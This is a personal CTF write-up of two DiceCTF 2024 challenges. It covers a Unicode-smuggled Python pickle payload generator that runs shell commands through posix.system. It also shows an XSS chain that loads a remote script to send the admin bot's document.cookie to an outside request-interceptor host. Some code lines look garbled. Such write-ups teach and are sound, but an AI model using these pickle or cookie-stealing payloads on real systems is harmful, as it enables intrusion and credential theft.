DiceCTF 2024 qualifications challenges
These are my writeups for the DiceCTF 2024 qualifications. The event took place from Fri, 2 Feb. 2024 21:00 UTC until Sun, 4 Feb., 2024 21:00 UTC.
DiceCTF 2024 qualifications Unipickle Writeup
The challenge server runs a Python script called unipickle.py
with the following code:
#!/usr/local/bin/python
import pickle
pickle.loads(input("pickle: ").split()[0].encode())
The Python script performs the following steps:
- Prompt the user to input a string with
pickle:
. - Parse the user input as a Unicode string.
- Split the string by whitespace
- Take the first part
- Encode the string as UTF-8 bytes to get a
bytes()
object. - Call
pickle.loads()
on the resultingbytes()
object.
To solve the challenge, you need to pass a valid Unicode string. This string must then contain something
that pickle.loads()
can work with after the script turns it to a UTF-8 encoded
bytes()
object.
Python pickle protocol versions
I’ve stored a pickled Python object in a file called uname.pickle
. When
you run pickle.loads()
on this file’s contents, Python runs uname
on your system.
Here’s how the contents of the pickle file look like when you print them with xxd
:
00000000: 6370 6f73 6978 0a73 7973 7465 6d0a 2856 cposix.system.(V
00000010: 756e 616d 650a 7452 2e uname.tR.
You can visualize the contents of this Python pickle using
the pickletools
module with python3 -m pickletools
:
python3 -m pickletools uname.pickle
This prints the following:
0: c GLOBAL 'posix system'
14: ( MARK
15: V UNICODE 'uname'
22: t TUPLE (MARK at 14)
23: R REDUCE
24: . STOP
highest protocol among opcodes = 0
Python pickles have different protocol versions. Protocol version 0 is useful for deserialization attacks because its opcodes are printable ASCII. Opcodes and inputs are split with newlines.
Yet, in this challenge the unipickle.py
script only
looks at the first part of the input after calling .split()
on it. That makes
it difficult to work with version 0.
I instead chose to focus on understanding how I can create a protocol version 4 payload that still passes as valid UTF-8.
Smuggling higher values as Unicode characters
The trick is to smuggle version 4 protocol opcodes inside UTF-8 strings. This technique is called Unicode injection and belongs to a larger class of attacks called encoded injection.
You can encode the following byte sequences and generate valid UTF-8 sequences:
0xxx xxxx
110x xxxx 10xx xxxx
1110 xxxx 10xx xxxx 10xx xxxx
1111 0xxx 10xx xxxx 10xx xxxx
As long as all version 4 protocol opcodes and their following bytes match any
of the four possible UTF-8 sequences, unipickle.py
accepts your input.
Note: another method that prevents unipickle.py
from removing parts of your input
is using ${IFS}
as a space replacement for command injections. This is how it
looks like when you replace space characters from head /flag*
with ${IFS}
:
head${IFS}/flag*
Payload generator
Here’s the payload generator:
#!/usr/bin/env python3
import sys
import math
start = b'U\x05posixU\x06systemq\xc2\x93'
end = b'tR.'
padding = "${IFS}"
minimum_padded_length = 33
def make_payload(payload: str) -> bytes:
payload = payload.replace(" ", padding)
length = len(payload)
assert length < 124
missing = minimum_padded_length - length
add_padding_count = int(math.ceil(missing / len(padding)))
payload = payload + (padding * add_padding_count)
return start + f'(U{chr(len(payload))}{payload}'.encode() + end
payload = "head /flag*"
encoded = make_payload(payload).decode()
print(encoded)
Here’s the payload decoded with pickletools
:
0: U SHORT_BINSTRING 'posix'
7: U SHORT_BINSTRING 'system'
15: q BINPUT 194
17: \x93 STACK_GLOBAL
18: ( MARK
19: U SHORT_BINSTRING 'head${IFS}/flag*${IFS}${IFS}${IFS}'
55: t TUPLE (MARK at 18)
56: R REDUCE
57: . STOP
highest protocol among opcodes = 4
This is what you’ll see when you pipe the payload generator’s output into xxd
:
00000000: 5505 706f 7369 7855 0673 7973 7465 6d71 U.posixU.systemq
00000010: c293 2855 2268 6561 6424 7b49 4653 7d2f ..(U"head${IFS}/
00000020: 666c 6167 2a24 7b49 4653 7d24 7b49 4653 flag*${IFS}${IFS
00000030: 7d24 7b49 4653 7d74 522e 0a }${IFS}tR..
This challenge requires you to closely study Python’s pickle implementation and goes way beyond just blindly copying YAML payloads.
DiceCTF 2024 qualifications Calculator Writeup
This is a writeup for the DiceCTF 2024 Calculator challenge.
Challenge notes
web/calculator BrownieInMotion 45 solves / 126 points
beep boop
calculator.mc.ax [link]
Admin Bot [link]
Downloads calculator.tar.gz [link]
URLs
- Frontend: https://calculator.mc.ax
- Admin: https://adminbot.mc.ax/web-calculator
Files
The calculator.tar.gz
archive contains these files:
calculator
├── Dockerfile
├── adminbot_test.js
├── index.ts
├── jail
│ ├── index.ts
│ ├── project.ts
│ ├── queue.ts
│ └── sanitize.ts
├── package-lock.json
└── package.json
Libraries
Reviewing the npm package dependencies in package.json
, here are some notable dependencies:
npm isolates
Here’s what isolated-vm
does, from the npm page:
isolated-vm – Access to multiple isolates in nodejs
isolated-vm is a library for nodejs which gives you access to v8’s Isolate interface. This allows you to create JavaScript environments which are completely isolated from each other. This can be a powerful tool to run code in a fresh JavaScript environment completely free of extraneous capabilities provided by the nodejs runtime.
The calculator express server uses version 4.7.2
of isolated-vm
.
isolated-vm
provides these classes for using v8 the Isolate interface:
- The
Isolate
class gives you an interface to the v8 isolate class. Context
objects live within anIsolate
objects.Script
objects run inside aContext
object.- A
Module
object is something that anIsolate
compiles from code. - A
Callback
object create references to functions between isolates - A
Reference
object points at a value inside an isolate. - Instances from the
ExternalCopy
class point at outside values that you can copy into anIsolate
.
Initial analysis
The adminbot_test.js
file shows how the admin
bot visits pages with the flag
cookie set:
export default {
name: "calculator admin bot",
timeout: 15_000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.setCookie({
name: "flag",
value: flag.trim(),
domain: "calculator.mc.ax",
});
await page.goto(url, { timeout: 5000, waitUntil: "domcontentloaded" });
await sleep(5000);
},
};
The goal is to make the admin
bot visit the calculator page and steal the contents of this cookie.
Program flow
Here’s what the server index.ts
does when you send it a request at /
:
- The
/
endpoint receives theq
query parameter. runQuery
evaluatesq
(more on that later).- The
/
endpoint displays the results ofrunQuery
asmessage
. - The endpoint shows the
runQuery
results after sanitizing them inside theq
<input>
HTML field
const sanitize = (code: string): string => {
return code
.replaceAll(/</g, "<")
.replaceAll(/>/g, ">")
.replaceAll(/"/g, """);
};
The sanitizer replaces <>"
with <>"
respectively.
const runQuery = async (query: string): Promise<string> => {
if (query.length > 75) {
return "equation is too long";
}
try {
const result = await run(query, 1000, "number");
if (result.success === false) {
const errors: string[] = result.errors;
return sanitize(errors.join("\n"));
} else {
const value: number = result.value;
return `result: ${value.toString()}`;
}
} catch (error) {
return "unknown error";
}
};
Here’s what the runQuery
function does:
- It cuts of the query if it’s longer than 75 characters.
- It passes query to an async function
run
from the./jail
package. run
returns a object containing.success
, a boolean,.errors
, a string array of errors, and.value
, a number, if the calculation was successful- When an error occurs during
run
, it setsresult.success
to false and populatesresult.errors
. Then, the result ofrunQuery
contains all the errors joined together by newlines and is then run through the same sanitizer used to sanitize theq
<input>
HTML field. - When no error occurs,
runQuery
convertsresult.value
into a string and returns it with the formatresult: $VALUE
Jail package structure
The run
function is inside the jail
package. Here’s the structure of
the jail
package:
index.ts
contains therun
function and also holds a reference to 16 isolates as a ResourceClusterqueue.ts
provides the ResourceCluster class. ResourceCluster has a queue with a spinlock. Exists independent of isolatessanitize.ts
cleans up any code fed intorun
and then lints it witheslint
, compiles it with ts and hands if off to be run. It’s independent from isolates.project.ts
contains all the things needed to compile a TypeScript project. It’s independent from isolates.
Code sanitization in the jail
// jail/sanitize.ts
// […]
const parse = (text: string): Result<string> => {
const file = ts.createSourceFile("file.ts", text, ScriptTarget.Latest);
if (file.statements.length !== 1) {
return {
success: false,
errors: ["expected a single statement"],
};
}
const [statement] = file.statements;
if (!ts.isExpressionStatement(statement)) {
return {
success: false,
errors: ["expected an expression statement"],
};
}
return {
success: true,
output: ts
.createPrinter()
.printNode(EmitHint.Expression, statement.expression, file),
};
};
export const sanitize = async (
type: string,
input: string,
): Promise<Result<string>> => {
if (/[^ -~]|;/.test(input)) {
return {
success: false,
errors: ["only one expression is allowed"],
};
}
const expression = parse(input);
if (!expression.success) return expression;
const data = `((): ${type} => (${expression.output}))()`;
const project = new VirtualProject("file.ts", data);
const { errors, messages } = await project.lint();
if (errors > 0) {
return { success: false, errors: messages };
}
return project.compile();
};
The jail
package makes sure that the input complies with the following requirements:
- The input contains a single statement in
parse(text)
. - The input contains an expression in
parse(text)
. - The input contains at most one expression in
sanitize(type, input)
- The input contains only printable characters, except for a semicolon in
sanitize(type, input)
.
The sanitize(type, input)
function then puts this input into the following template:
((): number =>${expression.output}))()
Code execution in the jail
// jail/index.ts
// […]
export const run = async <T extends keyof RunTypes>(
code: string,
timeout: number,
type: T,
): Promise<RunResult<T>> => {
const result = await sanitize(type, code);
if (result.success === false) return result;
return await queue.queue<RunResult<T>>(async (isolate) => {
const context = await isolate.createContext();
return Promise.race([
context.eval(result.output).then(
(output): RunResult<T> => ({
success: true,
value: output,
}),
),
new Promise<RunResult<T>>((resolve) => {
setTimeout(() => {
context.release();
resolve({
success: false,
errors: ["evaluation timed out!"],
});
}, timeout);
}),
]);
});
};
I now look at the run(code, timeout, type)
function in jail/index.ts
.
To sum it up, it’s a complicated way of performing a regular JavaScript eval()
.
Here are some more ideas:
- Can you tell one isolate to write a file with something, and have another isolate read it out?
- Note that only numbers can ever be returned, so you might have to extract a possible flag piece by piece.
To test if file access is possible at all, I run lstat /etc
inside an isolate:
require("child_process");
To get back to the problem that you need to solve, here’s what should happen:
- You read out the cookie from document.cookie
- You do something with that cookie, like send it somewhere (using XSS)
We can inject a script on behalf of the admin
bot through a query, yes. But,
the jail
package sanitizes any script
when an error is returned, or it sanitizes it when it evaluates the script.
Here are the two possible information flows:
- For a valid query, the result has to be a number (
as
assertion not allowed), andjail/sanitize.ts:sanitize
then sanitizes it. - For an invalid query, the result might contain a XSS payload, but
index.ts:sanitize
then sanitizes it.
You can smuggle in an XSS payload in two places, but both of these appear to be hardened.
<input type="text" name="q" value="${sanitize(query)}">
<input type="submit">
</form>
<p>${message}</p>
To mix things up, I try the following payload:
(() => true)() && 0;
Submitting this through the admin
bot gives the response
[object Object]
This looks promising.
Yet, [object Object
] comes from an error and isn’t
what we need to return an XSS payload.
Exploring the type smuggling vulnerability
Testing reveals that Object.defineProperty
can bypass type restrictions and pollute the Object
prototype:
[(Object.prototype.toString = () => "true")].length;
// -> 1
Setting global variables:
[Object.defineProperty(globalThis, "1", {})].length;
// -> 1
Here’s how you can override the return value of length
to return a string:
Object.defineProperty(globalThis.Array, "length", { value: "asd" }).length;
// -> "asd"
This returns "asd"
instead of a number, allowing string injection.
Developing the payload
The payload needs to work within the 75-character limit:
Object.defineProperty(Array, "length", { value: "<i>asd</i>" }).length;
// -> "<i>asd</i>"
This renders <i>asd</i>
in the response. I then try refining this payload
to so that it can become a proper XSS payload.
Object.defineProperty(Array, "length", { value: "<script>1</script>" }).length;
// -> "<script>1</script>"
A prototype pollution based XSS payload with this code would become too long and break the 75 character limit. I decide to look at the linting step.
Final payload
The trick is to prevent ESLint
from complaining about type assertions using the eslint-disable
comment. This tells ESLint
to not check the rest of the code.
I upload a script to my website so that you can download it from https://www.justus.pw/s.js
. This lets me keep the payload length short.
I run a RequestBin
type request interceptor on dicectf2024.free.beecepter.com
.
Here’s the script:
var i = new Image();
i.src = "https://dicectf2024.free.beeceptor.com/?" + document.cookie;
Here’s the final payload:
/*eslint-disable*/<any>"<script src=//justus.pw/s.js></script>"